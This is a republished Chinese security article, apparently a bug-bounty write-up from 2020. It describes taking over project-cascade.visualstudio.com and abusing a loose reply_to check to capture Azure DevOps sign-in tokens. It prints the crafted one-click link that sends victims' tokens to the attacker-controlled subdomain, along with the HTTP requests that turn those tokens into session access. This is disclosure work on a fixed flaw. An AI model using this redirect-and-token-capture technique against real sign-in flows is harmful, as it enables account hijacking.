专栏首页FreeBuf安全研究 | 通过域名劫持实现Azure DevOps账户劫持

安全研究 | 通过域名劫持实现Azure DevOps账户劫持

当测试子域名劫持漏洞(subdomain takeover)时,通常需要明白利用劫持域名能做什么,其产生的实际危害和影响有多大。最近,作者就劫持了微软开发者网站子域名project-cascade.visualstudio.com,并利用它实现了针对集成开发环境Azure DevOps账户的一键劫持。一起来看看。

域名劫持

通过自动化测试,我们发现了*.visualstudio.com的一个子域名-project-cascade.visualstudio.com,它的NS记录指向了Azure DNS,但从lookup的解析结果来看,却是被拒绝掉的(Refused):

dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns3-05.azure-dns.org status: [Refused] dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns2-05.azure-dns.net status: [Refused] dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns1-05.azure-dns.com status: [Refused] dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns4-05.azure-dns.info status: [Refused]

从上述Refused状态的lookup解析中可以看出,project-cascade.visualstudio.com本来是注册指向Azure DNS的,但是,现在它在Azure DNS的注册指向是空的了,也就是说,我们可以用手头现有的Azure账户来注册获得(takeover)这个子域名,然后往其中创建任意的DNS记录。注册后的project-cascade.visualstudio.com状态如下:

然后,往其中添加两条解析记录:

TXT Record - txt.project-cascade.visualstudio.com (附带Azure DNS Zone Takeover POC的域名设置说明信息) A Record - arec.project-cascade.visualstudio.com (添加到 由我们控制IP地址3.88.203.203的记录)

用dig命令来查询验证一下:

$ dig txt txt.project-cascade.visualstudio.com @1.1.1.1 ...omitted for brevity... ;; ANSWER SECTION: txt.project-cascade.visualstudio.com. 10 IN TXT "Azure DNS Zone Takeover POC"
$ dig a arec.project-cascade.visualstudio.com @1.1.1.1

...omitted for brevity...

;; ANSWER SECTION:
arec.project-cascade.visualstudio.com. 2475 IN A 3.88.203.203

深入测试

这样看来,我们已经接管了project-cascade.visualstudio.com子域名了,那就来看看它可以产生的具体危害吧。 我们注意到,某些visualstudio.com下的子域会通过login.microsoftonline.com来进行一些身份校验,就比如访问域名app.vssps.visualstudio.com后,会产生以下跳转到login.microsoftonline.com的一个动作:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90#ctx=eyJTaWduSW5Db29raWVEb21haW5zIjpbImh0dHBzOi8vbG9naW4ubWljcm8zb2Z0b25saW5lLmNvbSJdfQ2

之后就会跳转到https://login.microsoftonline.com/…omitted…进行身份校验。

上述跳转校验机制中最重要的两个部份是:

https://app.vssps.visualstudio.com/_signin: reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F

经过测试我们发现,该跳转校验机制中对域名的限制比较宽松,允许任意*.visualstudio.com子域来接收身份校验token。为了验证,我们构造了以下URL测试链接:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

在该构造链接中,我们把原先的reply_to参数值更改为了我们控制的子域https%3A%2F%2Farec.project-cascade.visualstudio.com%2。访问该链接后,一样会跳转到正常的microsoft live.com登录界面,当然如果当前用户是登录后状态,也一样会在其中执行跳转请求:

假设受害者访问登录了该链接,则在跳转过程中会执行一个对我们控制域名arec.project-cascade.visualstudio.com的POST请求,如下:

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.vssps.visualstudio.com
Cookie: ...omitted for brevity...

id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>%2B

则在我们控制的域名端arec.project-cascade.visualstudio.com后台,就会自动发起针对app.vsaex.visualstudio.com的一个POST请求,还会接收到受害者访问app.vsaex.visualstudio.com的另一个身份校验token信息,如下:

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.project-cascade.visualstudio.com
Content-Length: 4634
Referer: https://arec.vssps.visualstudio.com/_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F
Cookie: ...omitted for brevity...

id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>

漏洞利用

利用上述后续获得的身份校验token,我们可以发起针对vsaex.visualstudio.com, dev.azure.com and vssps.dev.azure.com等合法域名的身份验证,形成有效登录,实现对这些账户的身份劫持。如以劫持app.vsaex.visualstudio.com账户为例,携带上述窃取token发起身份校验请求:

POST /_apis/WebPlatformAuth/SessionToken HTTP/1.1
Host: app.vsaex.visualstudio.com
Connection: close
Content-Length: 105
Origin: https://app.vsaex.visualstudio.com
X-VSS-ReauthenticationAction: Suppress
Content-Type: application/json
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true
X-Requested-With: XMLHttpRequest
...omitted for brevity...
Cookie: UserAuthentication=<snipped id_token>; FedAuth=<snipped FedAuth>; FedAuth1=<snipped>

{"appId":"00000000-0000-0000-0000-000000000000","force":false,"tokenType":0,"namedTokenId":"Aex.Profile"}

之后,服务端会响应回另一个app.vsaex.visualstudio.com分配的用户有效token:

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 933
Content-Type: application/json; charset=utf-8; api-version=6.0-preview.1
...omitted for brevity...

{"appId":"00000000-0000-0000-0000-000000000000","token":"<snip>","tokenType":"session","validTo":"2020-05-12T06:45:47.2007474Z","namedTokenId":"Aex.Profile"}

利用该token,可以在app.vsaex.visualstudio.com中执行用户邮件获取,请求:

GET /_apis/User/User HTTP/1.1
Host: app.vsaex.visualstudio.com
Connection: close
X-TFS-FedAuthRedirect: Suppress
X-VSS-ReauthenticationAction: Suppress
X-Requested-With: XMLHttpRequest
Accept-Language: en-US
Authorization: Bearer <snip just recieved bearer token>
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
X-TFS-Session: ab1e4b56-599c-4ab6-9f5e-756c486a0f2b
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://app.vsaex.visualstudio.com/me?mkt=en-US
Accept-Encoding: gzip, deflate

响应:

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 258
...omitted for brevity...

{"descriptor":"msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1","displayName":"s","mail":"<account_email>","unconfirmedMail":null,"country":"AU","dateCreated":"2018-05-25T23:19:53.6843383+00:00","lastModified":"2019-01-06T15:43:50.2963651+00:00","revision":0}
同时,利用该窃取token,还能通过链接
https://app.vsaex.visualstudio.com/me?mkt=en-US访问用户关联在dev.azure.com上的一些开发项目:

且最终能访问获取到用户托管在dev.azure.com上的项目资源。请求:

GET /seanyeoh/_usersSettings/keys?__rt=fps&__ver=2 HTTP/1.1
Host: dev.azure.com
Connection: close
x-tfs-fedauthredirect: Suppress
Origin: https://dev.azure.com
x-vss-reauthenticationaction: Suppress
authorization: Bearer <snip>
accept: application/json;api-version=5.0-preview.1;excludeUrls=true;enumsAsNumbers=true;msDateFormat=true;noArrayWrap=true
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

危害影响

恶意攻击者可以构造以下链接,发送给无意受害者,实现对受害者账户的一键点击劫持:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

在攻击者获得app.vsaex.visualstudio.com的访问令牌后,即能完全劫持受害者的Azure DevOps环境账户。

此外,通过对project-cascade.visualstudio.com的劫持,还可以设置MX邮件转发记录,获取*.project-cascade.visualstudio.com上的邮件数据,甚至是创建SSL证书,形成对Microsoft服务的欺诈假冒。

漏洞修复

重新注册域名project-cascade.visualstudio.com,获得对其控制权 限制app.vssps.visualstudio.com中reply_to产生的token对域app.vsaex.visualstudio.com的访问

漏洞上报和处理进程

2020.5.20 - 漏洞上报 2020.5.22 - 漏洞分类 2020.5.22 - 获得微软$3000奖励

参考来源

assetnote

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-07-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 知名Web域名注册商披露数据泄露事件

    又一次大规模的数据泄露事件发生。这一次的主角是一家知名的领头网络技术公司及其两家子公司,全球数百万客户从这里购买了网站的域名。

    FB客服
  • JudasDNS:域名服务器DNS投毒测试工具

    JudasDNS是一款针对DNS域名服务器的安全测试工具,在JudasDNS的帮助下,广大安全研究人员可以方便地对目标域名服务器进行DNS投毒攻击测试,以确保域...

    FB客服
  • 凛冬将至渔夫出动,《权游》的钓鱼与避坑

    虽然即将夏日炎炎,但《权力的游戏》第八季的到来却能够让各位权游铁粉感受到“凛冬终至”的气息!目前,权游第八季的第二集已经播出,可能很多权游粉丝想的是“养肥了再杀...

    FB客服
  • 口罩人脸检测与分类开源代码汇总

    最近因为疫情影响,口罩人脸检测与分类突然火了起来,首先是百度开源了相关模型,然后腾讯和阿里也分别称在云服务中提供了相关能力。

    CV君
  • Leetcode 125. Valid Palindrome

    版权声明:博客文章都是作者辛苦整理的,转载请注明出处,谢谢! https://blog.cs...

    Tyan
  • Python黑帽子-实现netcat基本功能(改进版)

    一个好的渗透测试人员,应该拥有强大的编程能力,而python就是一个很好的工具,我最近也在研究如何用python开发属于自己的小工具,《python黑帽子》是一...

    tnt阿信
  • 基于面向对象的工具库练习

    解决这个问题是通过匿名函数,然后在匿名函数内创建对象,将window作为参数传入匿名函数,并将此对象赋值与window

    Dreamy.TZK
  • preconnect & more

    preconnect 出现在 w3 组织 16 年制订 《Resource Hints》。

    libo1106
  • 黑匣子开启:iOS Secure Enclave 固件解密密钥首度“被”公开

    8 月 17 日某黑客发布消息称自己破译出了苹果 iOS 中 Secure Enclave 固件解密密钥。苹果系统向来在安全性上以封闭著称,大家并不能深入地了解...

    FB客服
  • InfoPath Inside View

    Microsoft Office InfoPath有很多无奈的缺陷。比如无法搜索一个指定的data field,无法查看一个data field 绑定的Cont...

    py3study

扫码关注云+社区

领取腾讯云代金券